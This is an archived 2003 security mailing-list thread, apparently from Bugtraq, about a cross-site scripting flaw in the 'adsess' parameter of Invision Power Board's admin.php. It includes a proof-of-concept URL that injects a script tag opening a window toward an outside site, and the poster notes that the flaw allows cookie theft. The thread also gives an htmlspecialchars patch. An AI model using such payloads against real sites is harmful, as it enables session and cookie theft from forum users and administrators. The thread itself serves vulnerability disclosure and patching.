PDA

Bekijk Volledige Versie : bug in Invision Power Board



Boy Bear
09/08/03, 19:30
I found possibility to run Script (java Script, VBScript) on the system
Invision Power Board...
It's possible to do if it much {many} things like a withdrawal of cookie,
advertising ....


For example:

http://forums.invisionpower.com/admin.php?adsess='><script>window.open
(window.location.search.substring
(78));&lt;/script&gt;<http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision





BoyBear From BinaryVision ( http://binaryvision.tech.nu )

Boy Bear
11/08/03, 19:45
In-Reply-To: <20030809082131.25004.qmail@www.securityfocus.com>

To repair Bug to edit the file admin.php and to add after the line:


$IN['AD_SESS'] = $HTTP_POST_VARS['adsess'] ? $HTTP_POST_VARS['adsess'] :
$HTTP_GET_VARS['adsess'];

To add this :

if (isset($IN['AD_SESS'])) {
$IN['AD_SESS'] = htmlspecialchars($IN['AD_SESS']);
}

Christopher Hummert
11/08/03, 22:30
Will someone please tell us what version this is in? 1.2 was released
last week. Did it fix this problem?

-----Original Message-----
From: Boy Bear [mailto:eyal067@walla.co.il]
Sent: Saturday, August 09, 2003 2:32 PM
To: bugtraq@securityfocus.com
Subject: Re: bug in Invision Power Board


In-Reply-To: <20030809082131.25004.qmail@www.securityfocus.com>

To repair Bug to edit the file admin.php and to add after the line:





$IN['AD_SESS'] = $HTTP_POST_VARS['adsess'] ? $HTTP_POST_VARS['adsess'] :


$HTTP_GET_VARS['adsess'];



To add this :



if (isset($IN['AD_SESS'])) {

$IN['AD_SESS'] = htmlspecialchars($IN['AD_SESS']);

}